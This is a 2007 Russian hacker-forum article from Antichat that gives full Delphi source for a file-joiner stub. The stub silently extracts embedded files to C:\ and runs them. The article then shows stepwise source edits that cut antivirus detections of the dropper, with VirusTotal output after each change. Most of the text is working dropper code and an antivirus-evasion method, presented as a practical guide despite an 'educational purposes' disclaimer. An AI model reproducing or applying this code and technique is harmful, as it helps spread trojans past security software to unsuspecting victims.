ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Имеешь исходники - криптор не нужен
  #1  
Старый 08.04.2007, 01:44
Аватар для begin_end
begin_end
Members of Antichat - Level 5
Регистрация: 04.01.2007
Сообщений: 176
Провел на форуме:
17964969

Репутация: 1362
По умолчанию Имеешь исходники - криптор не нужен

Цель данной статьи – показать, каким образом изменения, внесённые в исходный код программы влияют на уровень её распознавабельности антивирусным ПО. А также привести примеры разных видов изменений исходного кода на определённом образце – стабе джоинера Ex Binder v0.1 (Author: TM).

Статья рассчитана на специфичную аудиторию, материал статьи потребует для освоения и применения наличие Дельфи (не обязательно полного, нужен лишь компилятор [1]), знания синтаксиса Дельфи, собственно сами исходные коды разного рода ПО.

Терминология:
Дельфи – среда визуальной разработки приложений, а с версии 7, ещё и одноименный язык программирования.
Джоинер – ПО, предназначенное для контейнирования в одном файле нескольких файлов, с возможностью их запуска по запуску файла-контейнера.
Стаб – контейнер джоинера в чистом виде (без файлов).


Проверим файл-стаб джоинера на virustotal.com. Он получен в результате компиляции неизменённого авторского исходника Ex Binder v0.1.
Сорец:
Код:
{A very Lite stub for extraction and execution of multiple files.
 Author: TM
}
program Stub;

uses
  Windows, ShellApi;

function EnumNamesFunc(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall;
var
  Info, FH, BW:DWORD;
begin
  Result:= True;
  Info:= FindResource(0, lpName, lpType);
  FH:= CreateFile(PChar('C:\'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil);
  CloseHandle(FH);
  ShellExecute(0, 'OPEN', PChar('C:\'+lpName), '', '', 0);
end;

begin
  EnumResourceNames(0, RT_RCDATA, @EnumNamesFunc, 0);
end.
Результат проверки (только положительные ответы):
Цитата:
Authentium 4.93.8 04.06.2007 W32/Trojan.YEW
AVG 7.5.0.447 04.05.2007 Dropper.Generic.KAH
DrWeb 4.33 04.06.2007 Trojan.MulDrop.4603
Ewido 4.0 04.06.2007 Trojan.Steal
F-Prot 4.3.1.45 04.04.2007 W32/Trojan.YEW
F-Secure 6.70.13030.0 04.06.2007 Trojan-Dropper.Win32.Delf.adc
Ikarus T3.1.1.3 04.06.2007 Backdoor.Win32.G_Door.T
Kaspersky 4.0.2.24 04.06.2007 Trojan-Dropper.Win32.Delf.adc
Panda 9.0.0.4 04.06.2007 Suspicious file
VBA32 3.11.3 04.04.2007 Trojan-Dropper.Win32.Delf.adc
Данный джоинер один из самых простых. Он основан на хранении файлов в ресурсах программы-контейнера. При запуске следует извлечение ресурсов и их запуск. Почему же это приложение определилось некоторыми антивирусами, не как Joiner/Dropper, а как троян? Дело в том, что при использовании, это приложение попадало для анализа склеенным с именно тем определяемым видом вируса (Trojan, Backdoor). Вероятно, система анализа, либо программисты-аналитики были не очень щепетильны, либо сочли не нужным уточнять вид вируса. Так или иначе, сигнатуры кода джоинера добавились в базу с этими данными.

Итак, что же можно сделать, для устранения этих неприятных строчек? Я слышал, многие советуют «добавить мусор» в конец кода программы. Что ж. Добавим 30Кб случайных символов. Результат проверки:
Цитата:
Authentium 4.93.8 04.06.2007 W32/Trojan.YEW
AVG 7.5.0.447 04.05.2007 Dropper.Generic.KAH
DrWeb 4.33 04.06.2007 Trojan.MulDrop.4603
Ewido 4.0 04.06.2007 Trojan.Steal
F-Prot 4.3.1.45 04.04.2007 W32/Trojan.YEW
F-Secure 6.70.13030.0 04.06.2007 Trojan-Dropper.Win32.Delf.adc
Ikarus T3.1.1.3 04.06.2007 Backdoor.Win32.G_Door.T
Kaspersky 4.0.2.24 04.06.2007 Trojan-Dropper.Win32.Delf.adc
Panda 9.0.0.4 04.06.2007 Suspicious file
VBA32 3.11.3 04.04.2007 Trojan-Dropper.Win32.Delf.adc
Число определивших антивирусов от проведённой операции меньше не стало. Так что «мусор» не поможет. Ещё, бывает, советуют запаковать. Хорошо. Пакуем UPX 1.95. Результат:
Цитата:
Authentium 4.93.8 04.06.2007 W32/Trojan.YEW
AVG 7.5.0.447 04.05.2007 Dropper.Generic.KZF
DrWeb 4.33 04.06.2007 Trojan.MulDrop.4603
eSafe 7.0.15.0 04.06.2007 suspicious Trojan/Worm
Ewido 4.0 04.06.2007 Logger.Delf.or
F-Prot 4.3.1.45 04.04.2007 W32/Trojan.YEW
F-Secure 6.70.13030.0 04.06.2007 Trojan-Dropper.Win32.Delf.adc
Ikarus T3.1.1.3 04.06.2007 Backdoor.Win32.G_Door.T
Kaspersky 4.0.2.24 04.06.2007 Trojan-Dropper.Win32.Delf.adc
Panda 9.0.0.4 04.06.2007 Suspicious file
VBA32 3.11.3 04.04.2007 Trojan-Dropper.Win32.Delf.adc
Webwasher-Gateway 6.0.1 04.06.2007 Win32.ModifiedUPX.gen!90 (suspicious)
Этот результат может удивить. Теперь вирус видят уже 12 антивирусов. Так что способ совсем не годится. Все современные антивирусы могут распаковывать упакованное любым известным (не свежим) пакером/компрессором. Но почему возросло число? Ответ прост, если помыслить логически то можно предположить, что многие паковали джоинер с вирусом с помощью UPX, дабы уменьшить размер. Не пакованный джоинер антивирусным программам менее знаком.
А теперь применим все наши познания Дельфи и произведём следующее: изменение исходного кода джоинера. Сделаем самое простое: вынос процедуры. А какую процедуру выберем? А самую последнюю – ShellExecute. Уберём её из function EnumNamesFunc. Создадим procedure Run(nn:string); и в неё вставим ShellExecute с передачей нужного параметра nn:string. Получим следующее:
Код:
program Stub;
uses  Windows, ShellApi;

procedure Run(nn:string);
begin
 ShellExecute(0, 'OPEN', PChar('C:\'+nn), '', '', 0);
end;

function EnumNamesFunc(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall;
var
  Info, FH, BW:DWORD;
begin
  Result:= True;
  Info:= FindResource(0, lpName, lpType);
  FH:= CreateFile(PChar('C:\'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil);
  CloseHandle(FH);
  Run(lpName);
end;

begin
  EnumResourceNames(0, RT_RCDATA, @EnumNamesFunc, 0);
end.
Проверим, и вот результат:
Цитата:
Ikarus T3.1.1.3 04.06.2007 Backdoor.Win32.G_Door.T
Panda 9.0.0.4 04.06.2007 Suspicious file
Правда, неплохо? Panda заставить замолчать полностью не удастся, но Ikarus мы убрать должны. А что ещё можно сделать с исходником? Предложу ещё три примера развития модификации исходного кода. Это полубессмысленное использование схожей с ShellExecute функции, бессмысленное построение цепочки процедур и бессмысленное добавление модуля. Но скажу, что всё сразу это делать не стоит. Какова должна быть последовательность ваших действий? Сначала применяем первое, не палится – отлично. Стало палиться – второе. Снова стало – первое и второе сразу. Потом третье и т.д. – по вашей фантазии и навыкам Дельфи-кодинга.

1. Творчество. Добавим функцию winexec совместно с shellexecute, однако только для файлов с расширением com, exe, src. Расширение же выделим с помощью ExtractExt. Исходник:
Код:
program Stub;
uses  Windows, ShellApi;

function ExtractExt(extrpath:string):string;
var epl:integer;
begin
epl:=length(extrpath);
if epl>3 then
 begin
  Result:=extrpath[epl-2]+extrpath[epl-1]+extrpath[epl];
 end else Result:='';
end;

procedure exefile(fn:PChar);
begin
 if ((ExtractExt(fn)='com') or (ExtractExt(fn)='exe') or (ExtractExt(fn)='scr')) then winexec(PChar('C:\'+fn),1) else
 shellexecute( 0 , 'OPEN' , PChar('C:\'+fn) , '' , '' , 0 );
end;

function ENF(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall;
var
  Info, FH, BW:DWORD;
begin
  Result:= True;
  Info:= FindResource(0, lpName, lpType);
  FH:= CreateFile(PChar('C:\'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil);
  CloseHandle(FH);
  exefile(lpName);
end;

begin
  EnumResourceNames(0, RT_RCDATA, @ENF, 0);
end.
После этой операции, как и последующих, только Panda говорит о подозрительном файле.
2. Далее вставим цепочку бессмысленных процедур и вызовем ещё пару windows-функций.
Код:
program Stub;
uses  Windows, ShellApi;

procedure fun3();
begin
 MessageBox(0,'','',0);
end;

procedure fun2;
begin
 fun3;
end;

procedure fun1(inco:integer);
begin
 if inco=3 then fun2;
end;

function ExtractExt
-\\-

procedure exefile(fn:PChar);
begin
 if ((ExtractExt(fn)='com') or (ExtractExt(fn)='exe') or (ExtractExt(fn)='scr')) then winexec(PChar('C:\'+fn),1) else
 shellexecute( 0 , 'OPEN' , PChar('C:\'+fn) , '' , '' , 0 );
 Randomize;
 fun1(Random(1));
end;

function ENF
-\\-

begin
  EnumResourceNames(0, RT_RCDATA, @ENF, 0);
end.
3. А потом подключим модули, прямо в ненужных процедурах:
Код:
program Stub;
uses  Windows, ShellApi, TlHelp32;

procedure fun3();
begin
 MessageBox(0,'','',0);
 CreateToolhelp32Snapshot(0,0);
 DragAcceptFiles(0,true);
end;

procedure fun2;
begin
 fun3;
 DragAcceptFiles(0,true);
end;

procedure fun1(inco:integer);
begin
 if inco=3 then fun2;
 CreateToolhelp32Snapshot(0,0);
end;

function ExtractExt
-\\-

procedure exefile
-\\-

function ENF
-\\-

begin
  EnumResourceNames(0, RT_RCDATA, @ENF, 0);
end.
После таких операций [2], что было неоднократно проверено, определяемость антивирусами даже самого палящегося ПО исчезает.

Заключение.
Статья и примеры ПО были созданы исключительно в учебно-демонстративных целях. Статья зародилась в ходе работы автора над исходными кодами джоинеров, выложенных в теме [3]. В ходе работы примером служил джоинер Ex Binder v0.1 от TM с последовательными изменениями от меня. Статью (как и исходный код) можно дополнять, переопубликовывать, ссылаясь на первоисточник, указывая автора.

Список ссылок.
1. SmallDelphi, для решения вопроса компиляции исходников на Дельфи.
2. Все, приведённые в статье исходные коды, логи проверки и бинарники.
3. Некоторые джоинеры (тема), исходные коды которых подверглись описанной обработке.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
НУжен Хелп Хацкеров anakin Болталка 18 21.09.2006 19:21
Нужен форум PEPSICOLA Болталка 6 02.02.2005 22:10
Нужен хелп по одиге Чаты 1 13.06.2002 21:07



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ